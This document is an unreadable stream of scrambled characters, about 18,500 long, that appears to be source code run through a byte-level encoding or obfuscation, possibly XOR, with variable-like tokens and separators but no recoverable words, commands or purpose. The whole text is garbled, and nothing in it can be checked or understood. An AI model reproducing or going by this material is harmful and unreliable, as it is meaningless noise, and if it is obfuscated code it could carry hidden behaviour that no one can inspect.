JW[ILI
VVV_uG
GW[MNHVDu___FKKKNLW[MNHVD[	GHMB/7/ 61+ 2>'P/7/ 61+ 2>'D[	OB[	GHMTMHDu___L 
	W[MNHS__WMMNTHNVVDu______OFKKF W[MNHVDu____W[MNH__BBB_NIFFOOL	OWVV___uuuu_	MNMW
VDu____LNMW
VDu________u_____uL 
	W[MNHS_WMHHTNJVVDuuu__uu______W+_[NJN MV____[GLMBMKGNHFD[GJOB[GLM!NJDuuu______KKGMM 

WGKFWJNFVS__[NJN MVDu______W:_____[NJN MV__u___uu_u
___ML	OLWVuu__u___________[FJLLJ_B_Du__W[FJLLJV_
Du__[FJLLJ__B____
Du___u_____LJ
KGWVDuuu___J K O	OWVDuuuu_MWVDuuuuMOJWVDuuuu_KML	M	HKWVDu_
IJHNWVDuHKNNWVDu__	JKWVDu_____FFMMOOWVDu________WJI M	
IWVV___u____WIFMWJMOVWIFMWJMNVV_YY____ W L	WKKMVVV__u_____W L	WJMOVWIFMWJMMVVV__IFMWJMMVWIFMWKKLVVDu______u___MO	OL
	WGKFWKKMVS____IFMWKKLVS____OVDu_____u_uu_______W+__[NJN MV_[MF	B/7/ 61+ 2>'P/7/ 61+ 2>'D[B[MF	TNLDuuuu_____W:____[NJN MV______u___uu_
_MGG WVu____uu__u____W^LWJMLVWLWKKJVV______^IFMWJMLVWGKFWJMKVVV____
Du__W^IFMWJMLVWGKFWJMJVV________^ L	WJMLVWIFMWLFJVVV__
Du_[N	GH
__B_ L	WJMIVWVDu_______W[N	GH
_____R___WV__? WIFMWJMHVS_OV_C______WLJFITKVV_
Du________?
 WLWJMHVS_[N	GH
S_GKFWJMGVVDuuu?LWKKJVW 
WXPXVS__W L	WLLHV___BA_____MS__LWLLGV___BA___S___ L	WKKGV_BA____VVDuu____W+___[NJN MV_uu____W:_[NJN MV__u_uPP__
__(/_)_=uu___uuu___
_JI M	
IWVu_u____W^__GKFWJMFVWIFMWJMJVVV__u____
_
Du__uu____WGKFWJMFVWIFMWKHKVV____YY_ WN FHJJHOWVVV___uuu____
___D[IJ	B/7/ 2>50- ):-,601D[F B[IJ	UFDu___u_____u_[HH	J_B___JOHLOMWVDu______[KOI__B_FOK G		
KWGKFWKHIVS____VDu______W L	WKGNVW[KOIV____YY_W[KOI$GKFWJLOV"V__YY______WV___[KOI$GKFWJLNV"__AB____WNFKTNOIV_YY_WV___[KOI$IFMWJLNV"____CB_WNHJNGTIGGGMVV___[HH	J_____B_____WV____[KOI$ L	WJLNV"Duuu__[MFGJJ_B__WV______ WLWKIJVS_OVDu______W[MFGJJ__A_____O___YY_WIFMWJLMVWV__R____[MFGJJV____C___[HH	JV___u____
____Du_____uuuu_u_[FFNO ___B_____WV___ WIFMWJLLVS__OVDu___W[FFNO _A_OV__uu_[NGJF__B______WV___ WLWJLKVS__OVDu__[J JF___B__WWMIKTLIVS______WNJMLRIMLVS____WNHLITIKVS_WLJLHTILVS__WLJMKTHIVVDu___[KO	_B____[J JF$LWJLJVWOS_ L	WJLIVW[NGJF___R_NS____WNTLVVV"Duuu_____[KO	___TB____LWKKOVWOS___WV__W[KO	_____U_OQMJVVDu_______WWIFMWJLMVWV__R_[FFNO V_____C_[KO	V_____uPP_?
_uu____
__Du_____uu____u______
___
Du_uu_
____M		WVu__u_[NGJF___B__WV_ W L	WJLKVS____OVDu_
 WIFMWJLKVS___[NGJF__T__NVDu___
 WIFMWJLLVS__IFMWJLMVWVVDuu_____uu______
_JOF	KGOFL
OGWVuu___uPP_(/_9
_6E__
uu_____[NKOIL__B___WVDu____u______[NKOIL$ L	WJLHV"___B_GIILHWVDu___[NKOIL$ L	WJLGV"__B______/7/ ):-,601Du_[NKOIL$ L	WJLFV"__B____LWGLVWVDu[NKOIL$GKFWJKOV"_B____WLWJKNVW L	WJKMVV___YY_ WVV___@_N____E__ODu[NKOIL$LWJKLV"__B_WLWJKNVWIFMWMMHVV__YY___ 
WVV__@_N__E__ODu___uu____[NKOIL$IFMWJKKV"_____B__W[830=>3,$GKFWJKJV"V_@___WV_____[830=>3,$ L	WJKJV"___E_]]Du[NKOIL$IFMWJKIV"__B_W[ ,:-):-$GKFWGIV"V_____@___IFMWJKHVWWV______[ ,:-):-$GKFWGIV"S___OS___WHTLLVV_E____]]Duu_[	FOH___B____WW[830=>3,$LWJKGV"V_YY__IFMWJKFVW[830=>3,$GKFWJJOV"VV_____@____LWLFNVW[830=>3,$ L	WJJOV"V__E__]]Duuu[NKOIL$ L	WJJNV"___B_W[	FOH___^BB___]]V_@_N_____E_____ODu_____[NKOIL$ L	WJJMV"___B____ L	WJJLVW[	FOHVDu____[NKOIL$LWJJKV"_B__^W[830=>3,$ L	WJJJV"V__@______N__E_ODuuuu[NKOIL$LWJJIV"_B___^W[830=>3,$GKFWJJHV"V_@____N__E_ODu__[NKOIL$IFMWJJGV"_B___LWJJFVWGKFWJMJVV______@__WV_____? W L	WJIOVS_OV___E____ODuu______[NKOIL$GKFWJINV"_____B_WMLI JWIFMWJINVS_]]V__^BB____]]V_@____N_E_ODu_______[NKOIL$ L	WJIMV"_B__LWJJFVW L	WJMJVV_@_WV___? W L	WJILVS_OV_E___ODu_[NKOIL$GKFWJIKV"__B_GKFWJJFVW L	WJMJVV__@____WV__? W L	WJIJVS____OV___E_____ODu______[NKOIL$GKFWJIIV"_B__IFMWJIHVWIFMWJMJVV___@_____WV____? WLWJIGVS_OV_E_ODu[	KNIO__B_
MHGO
G	
FWVDu_____[NKOIL$ L	WJIFV"__B______?GKFWJHOVW[	KNIO_Q__ L	WJHNVV__@_WK		W?IFMWJHMVW[	KNIO_Q____ L	WJHNVS___S__
S_OS___WGNNNTGNVVV_@_____M___E__NV__E___ODuuu__[NKOIL$GKFWJHLV"_B__?LWJHKVW[	KNIO__Q_GKFWJHJVV__@_WK		W?IFMWJHIVW[	KNIO_Q___LWJHJVS_S____
S___OS____WGNILTMFVVV_@___M___E___NV___E_____ODu[NKOIL$LWJHHV"_B__?LWJHKVW[	KNIO___Q__ L	WJHGVV_@__WK		W?LWJHIVW[	KNIO____Q_____ L	WJHGVS_S_
S____OS______WGNNMTGOVVV_@____M__E__NV______E_ODu[ HH__B____GKFWJHFV_____Q___F
W>=,/>+7_Q_XXS__WNLRJVVDu_____[HIH FO_____B_____IFMWJGOV_Q_____F
W>=,/>+7_Q__XXS__WNLRJVVDu____[NKOIL$GKFWJGNV"___B_ODu____WW	MGLGWVS__[	KNIOS_>=,/>+7__Q__ L	WJGMVV___[I		OINJV__u___W?IFMWJHKVW[I		OINJ__Q_XPX__Q__[ HH__Q__LWJOIVVV_____[NKOIL$IFMWJGNV"_B__NDu__W?LWJHKVW[I		OINJ______Q_____XPX___Q__[HIH FOV_YY____WV_? L	WMOMVW[I		OINJ_____Q__XPX_Q_____[HIH FOV__A__IFMWJGLVWV___R___WLJGRNNGVV___u[NKOIL$IFMWJGKV"______B__MDu___Duuuu______u_
W[HIH FOS__[I		OINJVDu__[	 FN 
GL_B_ L	WJGJVWLWKJKVV__@__? L	WKJKVWIFMWJGIVV__E_Du_____W^GKFWJGHVW[	 FN 
GLV_____[	 FN 
GL_BBB_____]]_________[	 FN 
GL___BBB___LWJGGVV_[	 FN 
GL__B_____ L	WJGFVDu[NKOIL$GKFWJFOV"__B___W?LWJHKVW>=,/>+7_Q_[	 FN 
GLV_YY____IFMWLIIVWWV__?LWJHIVW>=,/>+7__Q____[	 FN 
GLVS__ L	WJFNVV__^BB_____V___@__N___E__ODu[NKOIL$LWJFMV"__B__W? L	WJFLVW>=,/>+7_____Q______LWJFKVV__YY_ L	WLIIVWWV___? L	WJHIVW>=,/>+7_Q__IFMWJFKVVS_LWJFJVV___^BB______V__@____N___E___ODuuu[NKOIL$LWJFIV"_B___W? L	WJFHVW>=,/>+7__Q____GKFWJFGVV__YY_GKFWLIIVWWV__? L	WJFFVW>=,/>+7___Q____LWIOOVS___S_
S______OS__WIJJMOTNIVVS__LWIONVV_^BB___V___@___N__E_ODuuuu__[NKOIL$IFMWIOMV"_B_W L	WIOLVV______@__N_____E_ODu______[NKOIL$IFMWIOKV"___B______WWLWIOJVV___W L	WIOIVV___W L	WIOHVV___IFMWJGJVW L	WIOGVV____________GKFWIOFVW L	WINOVV__________W[830=>3,$IFMWINNV"V____IFMWINMVWIFMWINLVVV_____@_N__E__ODu_[NKOIL$GKFWINKV"__B____WV_ WIFMWKIJVS____OVDu[NKOIL$GKFWINJV"_B____WV__ WGKFWINIVS__OVDu_[NKOIL$ L	WINHV"____B_WV____ W L	WINGVS___OVDuuu[LLOF___B_____
M	FKL
L  WGKFWINFVS_WVVD[IBIFOD[JBW[IAOV@[IER[IDuu_[GMKFMJ_____B__ODuu____[
O
 I___B__ODu_______WIFMWKGNVW[LLOFVV____uuuu________W[LLOF___[NLGFV_____uuu_____W LH
GMNKW[NLGFV___BBB____]]V__
Duu[GMKFMJTTDuu__[MLFG__B___GKFWKGNVW[NLGFV__@_WV__WW[NLGF$IFMWIMOV"V____@__[NLGF$ L	WIMOV"_E___NV____E___NDu__[NKF
 F___B_GKFWKGNVW[NLGFV_YY____W[NLGF$IFMWIMNV"V_@__WV__[NLGF$GKFWIMNV"__E_ODu_____W^[MLFG_YY____W^[NKF
 F____[NKF
 F_C__IFMWIMMVWV____R___WLJJOTJOVVV_[
O
 ITTDuuuu____u_u__[NKOIL$LWIMLV"__B_[GMKFMJDuu__[NKOIL$ L	WIMKV"______B___[
O
 IDu____[
MJ_____B__IFMWINMVWIFMWJMJVV_____@__? WGKFWIMJVS_]]V______E______]]Du____[NKOIL$IFMWIMIV"___B___LWIMHVW[
MJV__@_ L	WJKHVW[
MJS____OS____WMLF!MLKVV______E___]]Du_[ 
FLLK__B_LWINMVWGKFWJMJVV_____@_? W L	WIMGVS___WVV__E____WVDu____[NKOIL$ L	WIMFV"__B_WLWKGNVW[ 
FLLKV__YY_W^W[ 
FLLK$XX"V_______^W[ 
FLLK$LWILOV"VVV_@___N____E______ODu__________W+_[NJN MV_u______[NKOIL$LWILNV"_B_GKFWILMVW[NJN MRA2WVS_OS___WKMTNGVVDu______W:____[NJN MV___uuuu___[NKOIL$GKFWILNV"_B_ L	WILLVW[NJN MRA2WVS_OS___WOMGTONKVVDu_uuu_______
__[NKOILDuu_u___
__ NKMJHLWVuu_______WGKFWINMVW L	WILKVVV_____u_____
__WV___ 
WGKFWILJVVDu______u_
_ L	WINMVW L	WILIVV__@___WV_____  
WV___E__]]Du_uu_u_____
_	OW[	FM  Vu__u_[KFK
_B___]]Du______W L	WINMVW L	WILHVVV___uPP_R_
uu__[KFK
____B__WV______LWILGVW 
WVS_WGKFWILFVVVDu___u___W^____[KFK
__YY__ L	WINMVW L	WIKOVVV_u__[KFK
_B__WV__GKFWILGVW  
WVS_WGKFWILFVVVDu_u______W^___[KFK
_____YY_LWINMVW L	WIKNVVV_u_[KFK
__B_WV______LWILGVW WLWIKMVVS__W L	WILFVVVDuu___W^__[KFK
__YY___GKFWIKLVWLWIKKVVV_____u__[KFK
_B_WV____GKFWILGVWWV___ W L	WIKJVS___]]VS__WIFMWILFVVVDu_____u____W^___[KFK
_YY_W[ ,:-):-$IFMWIKIV"VV__uu_[KFK
_B__WV____[ ,:-):-$IFMWIKIV"Du_uuu_W^_[KFK
__YY_W[ ,:-):-$GKFWIKHV"VV____u_______[KFK
__B____WV_[ ,:-):-$IFMWIKHV"Du_u___W^__[KFK
V____uPP_(/_+_=E_
_uu
_[	FM  Du___u_
___[KFK
Du__u
____
MMFFWVu_u_________uPU___UPuuuu_[	HGM_____B___LWIKGVWGKFWKJKVV_@___WV___?GKFWIKFVW L	WIJOVV__E___ODu__WGKFWIKGVWGKFWKHLVVV_?IFMWIJNVWWNFLRNLVVDu__[
GHFL	
_B__W[	HGM_A__WOTOIV_YY__[	HGM____C_WKJCCMVV_@_W[	HGM___R______WGTMVV__E_WW[	HGM______A____O__YY____[	HGM__CB____WLK!JKVV__@_WHTLV__E______WONFTOKNVVDu______W^____JI M	
IWVV__u_
Duuu_____uuuu____W^FHMJJFGIFKNW L	WKLGVVV______u__
Duu__u____u[IF __B___IFMWIJMVW
VDuuu___[G	
_B___	HIGNJ	LN	WVDu______Wu^___LWKGNVW[G	
Vu__^_W[G	
$GKFWLGJV"V________^_____GKFWIJLVW[G	
$GKFWIJKV"V__^_____[G	
$GKFWIJKV"u______^____W[G	
$IFMWLFMV"V______^_LWKGNVW[G	
$IFMWLFMV"V______W[G	
$IFMWLFMV"Vu___V_uuuu___M		WVDu__
Du_u_[O FKI__B__[G	
$ L	WIJJV"Du_[MFFHNJ____B__[G	
$GKFWLFMV"Du__ MIMM	WGKFWLGGVS_[O FKIS__LWIJIVVDuuuu____[II	HGOHIK____B_IFMWIKGVW L	WIKKVV_@____WV__ WGKFWIJHVS______]]V___E_]]D[	MMGGBGGGID[KMLB[	MMGGZGDu_____W[II	HGOHIK____^BB_____]]___YY__GKFWNFJVW[II	HGOHIKS_[MFFHNJS_____
VV_u___[MFFHNJ__B__ L	WLFOVWLWNFIVW[MFFHNJS_W[II	HGOHIKVVVDu___LWIJGVW[MFFHNJVDu____ L	WIJFVW[MFFHNJS__[II	HGOHIKVDu_________WIFMWIIOVW[MFFHNJV_A___NV__u_____IFMWIJGVW[MFFHNJVDu_______uPU__

R_UPuuu_______WWIFMWIJMVW
V__R_[IF V_____A_____WV_____W[
GHFL	
_U___OQIVV____uPP_R	___(/_-
_,uu___M		WVDu____
Duu__u_u__[NFG
GL__B__ LF
HJKWVDu___KLHKNIIGHW[NFG
GLVDu_uuuu_[
H
GO____B___WVDuuuu________WLWIKGVWIFMWIINVVV__u___WWV__ W L	WMMIVS___WVV______[LLMHNV___uuuu___WIFMWIJLVW[LLMHNV_YY____[LLMHNV__u___[
H
GO$"____B____[LLMHNDuu___u___uPP_/7/__E_
_uu_u[MG_B___WVDu__WW L	WNKVVV__u___[HLGNNI___B___IFMWIKGVWGKFWJOGVV_____@_____?IFMWJOGVWGKFWNLVW(/2* /3*861 ;6-S__XPXV__Q_GKFWIIMVV__E_Du____WGKFWIILVW[HLGNNIVV___u____W[HLGNNI_______[MNHV___u_[MG$"__B_ L	WMJHVW[MNHVDu_____uPP___Ruuuuu____uu___u[LJO_B______Wuuuu_ L	WIIKV__BA___	OW]]VSu__LWIIJV___BA_GIILHWVSuGKFWIIIV_____BA__GKFWMJHVWNIFFOOL	OWVS__LWJOIVVSu_ L	WIIHV_____BA___GKFWIIGVW>=,/>+7S_LWNOIVVSuLWIIFV__BA__[
H
GOSu___GKFWIHOV_BA___[MGSuLWIHNV___BA____ NKMJHLWVSu L	WIHMV_BA____K
  K FOJHW[NFG
GLVSuuuu_ L	WIHLV___BA__ 
K
OI	W[NFG
GLVSu______IFMWKMMV___BA__W[KGO_B__IMLWVVSu______uVDuuuu__[IHI__B__GKFWIKGVWIFMWIHKVV___@_____  W[LJOV__E______LWIHJVW[LJOVDu______[K		
L___B_KOLHF W[IHIS_[O FKIVDu[NGMOIL___B__WIFMWIHIV___BA___ L	WIHHVVDuuuu_[ K___B__
Duuuu__M		WVDuu__W[MFFHNJ__[GNIV_u_u____WW L	WIJMVW
V______R__[IF V___A__[
GHFL	
V___u____Duu__u__u_[GNI_____B__ L	WLFNVWWV______[GNIVDuu___W^__[GNIV_u
Duu__________uPP__uuuuu_____[LNNNM______B__[O FKIDuuuu_[L	__B___	NNHNF	HGHW[GNIS_[K		
LS___[NGMOILS__WNMG!NLGVS__
__W[	NV__
_W[LNNNMV______u[NKOIL__B_____KOLHF W[	NS_[LNNNMVDuu___W^[NKOILV_____
___Du__
___IFMWIHGVW?GKFWLIMVWGKFWLFNVW[NKOILVS___
VVDuVDu___W^__[L	V___uKKGMM 

WLWKHNVS____LWIHFV___Q__[GNIVDu__
Du_____uPP_/,-RH_E__uuu__u_[HG____B_KOLHF W[L	S_[O FKIVDu____W^____[HGV____u_____KKGMM 

WGKFWKHNVS___LWIGOV__Q__[GNIVDu
Duu_[ K___B_? L	WLIMVWLWIGNVW[HGVS_____
VDuuuu_______WIFMWIHGVW[ KVV__uu______W L	WIKGVW L	WLFJVVV___uPP_(/_-+_>/6__uuu_____
 WGKFWIJHVS__[GNIVDu__u__Du_____________u______KKGMM 

W L	WKHNVS_IFMWIGMV____Q__[GNIVDu_______u_____W+__[NJN MV___u______KKGMM 

W L	WIGLVS_[NJN MVDu_
Du_____W:_____[NJN MV_____u____
Du__uuu_________W^_____IFMWIHGVW[ KVV_u__[	J_B__KOLHF WGKFWIHJVWWu_LWIIKV_BA____	OW]]VSu__ L	WIIJV_BA__GIILHWVSuu_GKFWIIIV_BA__ L	WMJHVWNIFFOOL	OWVS_ L	WJOIVVSuu___GKFWIGKV__BA__NSuu_VVS__[O FKIVDu__[I	H 	____B__GKFWIIGVWWIFMWLFFVW[	JVS__LWIGJVS___IFMWIGIVVS__XBXVDu____[OOOM_B_____GKFWIGHVW[I	H 	S__WMMGJRGGJVVDu____W[MFFHNJ_____[GNIV_uu________WWGKFWIGGVW
V____R_____[IF V_A___[
GHFL	
V___u____Duu___[GNI__B___GKFWIGNVWWV_[GNIVD[FOGB/7/ 61+ 2>'P/7/ 61+ 2>'D[F N
OB[FOGTKIDu_W[GNI___BBB__]]V_uPP_?_
uu___
Du______u__[JK_B__F
W	OW]]V______Q___ L	WIGGVW
VS____WNNRLVVDuu____[OMON
	_B___ L	WIGFVW[OOOMVDu___[MNFLJO__B___W L	WLIIVW[GNIS______X@XV_BBB__V___@__X@X__E___XYXDu______W[O	JGIMJ_B_OD__[O	JGIMJ___C__[OMON
	D_[O	JGIMJTTV_uuu__WWIFMWIFOVW
V_R____[IF V_A__[
GHFL	
V_u____Du_u___[GKJ
N		L_B___W[O	JGIMJ_BBB_[OMON
	__R__NVDu__[N_B____[GNI___Q___[MNFLJO___Q____ L	WIFNV_Q_[JK_Q__LWIFMV_Q_[O	JGIMJ_Q____GKFWIFLV___Q_[OMON
	___Q___GKFWIFKV____Q_[OOOM$[O	JGIMJ"Du___[MN
GFN____B_HHL KIW[NS_WFRNVS_[GKJ
N		L_@_
_____W[	NV_____
_W[O FKIV___u[NKOIL__B___KOLHF W[	NS___[O FKIVDuu_W^[NKOILV_
___Du_
_ L	WIFJVW?LWLIMVWIFMWIGNVW[NKOILVS___
VVDu_______E__
VDu_______W[GKJ
N		L_YY_ L	WIJLVW[MN
GFNV__YY__[MN
GFN____^BB______]]V___u____[ _B_KOLHF W[MN
GFNS_[O FKIVDuu_[ HH_____B_[ _@_?LWLIMVWIFMWIGNVW[ VS______
V__E______
Du___WIFMWIFJVW[ HHVV__uuu_[ K____B___[ HHD[	
	BILGND[ON
JB[	
	ZNLDu_WIFMWIFIVW L	WLFJVVV__u_
 WLWIFHVS______[GNIVDu__uuuu_______Duu_uuuu____uu______u_____WIFMWIFJVW[ KVV_u_____Du__u_u_______u____W^____GKFWIFJVW[ KVV_u_
Du___u__W[KGO____YY_____GKFWIFGVWIFMWIFFVVV_u____ WJ	M K

ILW L	WKMMVVVDu_u_________W^W[830=>3,$LWKNJV"V_____^GKFWIFJVW[830=>3,$LWKNJV"VV_[830=>3,$IFMWHOOV"___B_WVDuuuu_[830=>3,$LWHONV"_B____GKFWHOMVWGKFWNFIVW[830=>3,$LWHONV"S______[KGOVVDu__WW[ K$IFMWHOLV"V__YY_LWHOKVW[ K$IFMWHOJV"VV____u____K	MF
NW[ K$ L	WHOJV"S_____W[ K$GKFWHOIV"V___YY____IFMWHOKVW[ K$IFMWHOIV"V__@_[ K$LWHOIV"___E_]]S__^W[ K$GKFWHOHV"VVDuu__u____[OLIF_B_Duu__[GO GNH_B____WVDu__uu_____WW[ K$GKFWKHHV"V_YY___LWIFJVW[ K$GKFWKHHV"VV_____u___[GO_B_____WVDuu________W[ K$IFMWKHHV"__[MNKF
JHIV__u_______W L	WHOKVW[MNKF
JHIV__YY___[MNKF
JHI___^BB_]]V_u_[GO$"__B___[MNKF
JHIDu_______uPU__R_UPuu__u_[	H	JNI____B___[830=>3,$LWKHFV"Du___[GO___B___OHIOMKOW[GOVDuuuu_[830=>3,$GKFWKHFV"_B___[GODu__[GO GNH$LWKHHV"___B__[GODu____W^____WLWNFIVW[GOS__[	H	JNIVV_____^___W L	WNFIVW[	H	JNIS_[GOVVV____u_[OLIF__B_
Du___uu____u___u_____WW[ K$LWHOGV"V__YY__GKFWHOFVW[ K$IFMWHNOV"VV___u______[GO_____B___WVDu____u______W[ K$ L	WHNOV"__[MNKF
JHIV_____u____WGKFWHNNVW[MNKF
JHIV__YY___[MNKF
JHI__^BB_]]V_u[GO$"__B____[MNKF
JHIDu__u_____u__[	H	JNI______B___[830=>3,$LWKGMV"Duuuu__[GO_____B_OHIOMKOW[GOVDuuu____[830=>3,$GKFWKGMV"____B__[GODu____[GO GNH$ L	WHNOV"__B___[GODu_________W^_WLWNFIVW[GOS_[	H	JNIVV___^__WGKFWNFIVW[	H	JNIS_[GOVVV__uuu_[OLIF__B____
Du____u_uPP__E__
	Ruu___WW[ K$ L	WKGJV"V__YY_ L	WHNNVW[ K$GKFWKGJV"VV_u__[FLIFJI__B__MLI JW L	WHNMVS__]]VDu[830=>3,$IFMWHNLV"___B_[ K$LWKGJV"Du[GO GNH$IFMWHNKV"__B____[ K$ L	WHNKV"Du_____W L	WHNJVW[ K$LWHNKV"V_^BB___GKFWHNJVW[FLIFJIVV__uPP__	uu____ MIMM	W L	WHNIVS__[ K$IFMWHNKV"S___ L	WHNHVVDuM	
NG
G
WVDu__u__
W[FLIFJIVDuuu___u__[
G	MGGOG____B_W[ K$ L	WKFNV"V_YY____IFMWHOFVW[ K$ L	WKFNV"V__@_____[ K$LWKFNV"_E__WVDuuu______WW[
G	MGGOG$LWKGFV"V___YY_IFMWHNNVW[
G	MGGOG$IFMWKGFV"VV__u_____W L	WJJLVW[
G	MGGOG$LWKGFV"V_A__WOMLTOVV_uuuu_[830=>3,$ L	WKGGV"___B_____[
G	MGGOG$LWKGFV"Du_____[GO GNH$IFMWHNGV"__B_[
G	MGGOG$IFMWHNGV"Du________uuu_[830=>3,$LWKGGV"_____B____]]Du[GO GNH$ L	WHNGV"____B_]]Du MIMM	WLWHNFVS____]]S_GKFWHNHVVDuuu_____u_u_____WW[
G	MGGOG$LWHMOV"V__YY_IFMWHNNVW[
G	MGGOG$IFMWHMNV"VV_u___WIFMWJJLVW[
G	MGGOG$IFMWHMNV"V___A__WITFKVV____u_____[830=>3,$GKFWHMMV"___B____[
G	MGGOG$GKFWHMNV"Du____[GO GNH$ L	WHMLV"___B__[
G	MGGOG$IFMWHMKV"Du____u________[830=>3,$IFMWHMMV"_B____]]Du___[GO GNH$LWHMKV"__B___]]Du_ MIMM	WIFMWKNLVS_]]S_IFMWHNHVVDuu__u______u___[	
NF J__B_W[ K$ L	WHMJV"V_YY_ L	WHMIVW[ K$GKFWHMHV"V_@____[ K$GKFWHMHV"___E___WVDu_____[	NHFM_B__Wu_LWHMGV_BA__IFMWHMGVSu_____IFMWHMFV__BA___GKFWHLOVSuu___ L	WHLNV_BA__IFMWHLMVSu_______GKFWHLLV___BA__IFMWHLKVSuGKFWHLJV____BA___ L	WHLIVSu___ L	WHLHV__BA_LWHLGVSu__IFMWHLFV_BA___GKFWHKOVSuuu_IFMWHKNV____BA_IFMWHKMVSu____VDu____W[	NHFM___[	F IL_BA___[	GFMV____u_WW[	
NF J$[	F IL"V_YY_____GKFWHNNVW[	
NF J$[	F IL"V___YY____IFMWJJLVW[	
NF J$[	F IL"V_A___WMOI!MJMVV__u_[GO GNH$[	GFM"_____B__[	
NF J$[	F IL"Du_______u___u___WW[ K$IFMWJLNV"V___YY_____IFMWHKLVW[ K$LWJLNV"VV_uu[	OJ
	
MG_B_WV_____[ K$GKFWJLNV"Du________W[	OJ
	
MG_AB_____WMNJTGJV___YY___[	OJ
	
MG__CB_WONLHTONMONVV__[GO GNH$GKFWJLNV"_B__[	OJ
	
MGDu________u___WW[ K$ L	WKMFV"V___YY___LWHKKVW[ K$ L	WKMFV"VV_u[ __B______WV__[ K$GKFWHKJV"Du_____W[ _AB__WMIOTKOV_YY____[ __CB__WGILOJTFJVV_[GO GNH$IFMWHKIV"__B_[ Du________u_WW[GO GNHVV_____u_ WGKFWINGVVDu_ W L	WINIVVDu
 W L	WHKHVS__GKFWIMMVWVVDu WIFMWHKGVVDuuu___
IJHNWVD[ FIKGBJOTNKD[KIFJMB[ FIKGRKHDuuuu____	JKWVDu____
Du__uuuu_u___[
I	
OLN__B______FOK G		
KW L	WHKFVS_VDu___uu____WLWHMIVW[
I	
OLNVV_u_[GO GNH__B_IFMWKMNVW[
I	
OLNS____[GO GNHVD[	ONIIKMB/7/ 61+ 2>'P/7/ 61+ 2>'D[NLB[	ONIIKMTKGDu_u______u_______W L	WIFGVWGKFWJNIVVV__u___[HH	J___B_JOHLOMWVDuuu_____WW[GO GNH$ L	WJLNV"V__YY_____WV____[GO GNH$IFMWHJOV"____AB__WLNGRNGV__YY__WV_[GO GNH$LWHJOV"___CB___WFIHHNRNOLHNVV_____[HH	J____B_WV_[GO GNH$GKFWHJOV"Duu________ WN FHJJHOWVS_[GO GNHS___[HH	JVDu______u____u__OFHIMHHOFW L	WHJNVS______[GO GNHS____IFMWHJMVVDuuu________WW[GO GNH$GKFWHJLV"V__YY__GKFWIFGVWGKFWHJKVV__YY__GKFWIFGVWIFMWHJJVV_YY__GKFWIFGVW L	WKLHVVV___u_[		_B_____  
 	WMOH	MGWVVDu_______W[		___YY_WV______[		RA	_____^BB_WV_[GO GNH$IFMWHJLV"V___uu___  
 WMOH	MGWVVDu 
 	W L	WIMMVWV__T____LWKKOVWWNON!GFVS__WMMKTHIVVS_IFMWKLOVS__MOH	MGWVVDu___u_u_
 W L	WHKHVS_IFMWHJIVWVVDu__ WGKFWHJHVVDu____ W L	WINIVVDu__ WLWHKGVVDu
IJHNWVDu	JKWVDu_____uuuu__W[OLIFV_u__JKG
		OO WVDu_u____W+____[NJN MV__uPP__	__(/_-:,+_>/6_	Muu________KKGMM 

WIFMWHJGVS__[NJN MVDu______W:__[NJN MV___u____________u_JLFMFWIFMWHJFVVDu__u____uuuuuu_
_K	MF
NW[I NNS______[GMG
M
L____B_]]S_[LH___B_Vu__u_________W^FHMJJFGIFKNWGKFWHJFVVV_
Du_______u____u_____[JK_____B__?LWKOMVW[I NNS__
VDu_W L	WHIOVW[JKV_YY_IFMWJJLVW[JKV___A___WOFFGMOTOIIHOVV__[JK_B__ GH
JKHW[JKVDu___________W^____[JK___GKFWJJLVW[JKV_C_____WNFTKGNV______IFMWLIIVW[JKS_IFMWHINVV_^BB__OV___u
Duu___W^___	JFO H
W[JKVV__u___KKGMM 

WLWHIMVS____GKFWHILVVDu_
Duu___W L	WMMKVWLWHIKVS_____IFMWILLVW[JKS_OS____WKOIKTLMVVS__[JLMHGOVV__u___W[GMG
M
L_^BB__]]____YY_[GMG
M
L_^BB___[JLMHGO$N"V_uKKGMM 

WGKFWHIJVS__GKFWHIIVVD[
JMBJJOD[HLKB[
JMZNKDu
Du_____u[GMG
M
L_B__[JLMHGO$N"Duuu_________u____KKGMM 

WIFMWHIJVS_ L	WHIHVVDu_
Du___uuu_____W^[LH_YY__	 W[GMG
M
LS_____GIILHWVV_CB__OV__u__
Duuuu_[JG
MO_B__	MNMWVDuu___W^[JG
MO_______IFMWJJLVW[JG
MOV_____C____WKMMTHGVV__u__KKGMM 

W L	WHIJVS__LWHIGVVDu___
Duuuu_______[ 


HJ_B___ WIFMWNGFVVDu_____WIFMWHIOVW[ 


HJV_YY_____LWLIIVW[ 


HJS__ L	WHNJVW[JKV_Q_XXV__BBB_OV___u___[JJM_B_WV_ L	WILLVW[ 


HJS__LWLIIVW[ 


HJS___XXV__T_NVDu______W L	WHJIVWV__R___[JJM_____C___WGJMKMTNNJGVV____uu_______
Du_____u_u__[L
J_B_GKFWHIFVWNIFFOOL	OWVV___Q___IFMWNGJV_Q___ L	WHNJVW[JKVDu____W?IFMWJFHVW[L
JVV_u___[ G	OK_B______?WV__IFMWMOMVW[L
JVDu______W[ G	OK_YY____IFMWHHOVWV___R_[ G	OK______C_WNGMJNTIGNKFVV__u_
Du_uu__?GKFWHHNVW[L
JVDuu___
W[L
JS_[ G	OKVDu[
	__B__Du_______W L	WIFGVW L	WKKJVV____YY_GKFWHHMVWIFMWILHVVV___u____[MI	G_B_____LWKKJVW 
WXPXVS___W L	WHHLV____BA__WNKRIVS______IFMWHHKV_BA__MS___IFMWLLGV______BA___VVDu_______W^___WIFMWHHJVW L	WLKMVV____YY_____  W[MI	GVVV_u_______[
	_____B_WV__  	  W[MI	GV_AB__WITKFKVDu______uPP_?_	uuu__uPP____-_
Ruu________[
MGO__B___D[
NIMNLNB/7/ 2>50- ):-,601D[JB[
NIMNLNUGDu__________WGKFWHHIVWGKFWHHHVVV_uPP_?	_
Ruu_[HGIH___B__ WIFMWHHGVS_____WVVDuuuu[
MGO__B___GKFWHMIVW[HGIHV_YY__IFMWHHFVWOJIHFOFIOWVS__[HGIHS_
VDu________uL 
	WNIFFOOL	OWVS____WLGITLKVVDu________W^__
LKLJ	NWNIFFOOL	OWVS__LN
JW[JKVVV__u_KKGMM 

WGKFWHIJVS__LWHGOVVDu_
Duu_OFKKF WNIFFOOL	OWVVDu___G
GWNIFFOOL	OWVVDu__WIFMWHHIVW L	WHGNVVV___? WGKFWHGMVS_NS_WMHHTMLVVD[MLHBRJNID[BW[MLHAOV@[MLHER[MLHDu____W^____[
	__YY__ L	WHHIVWIFMWKKJVV___YY__ L	WHHIVW L	WHGLVVV__u______[KGJMO
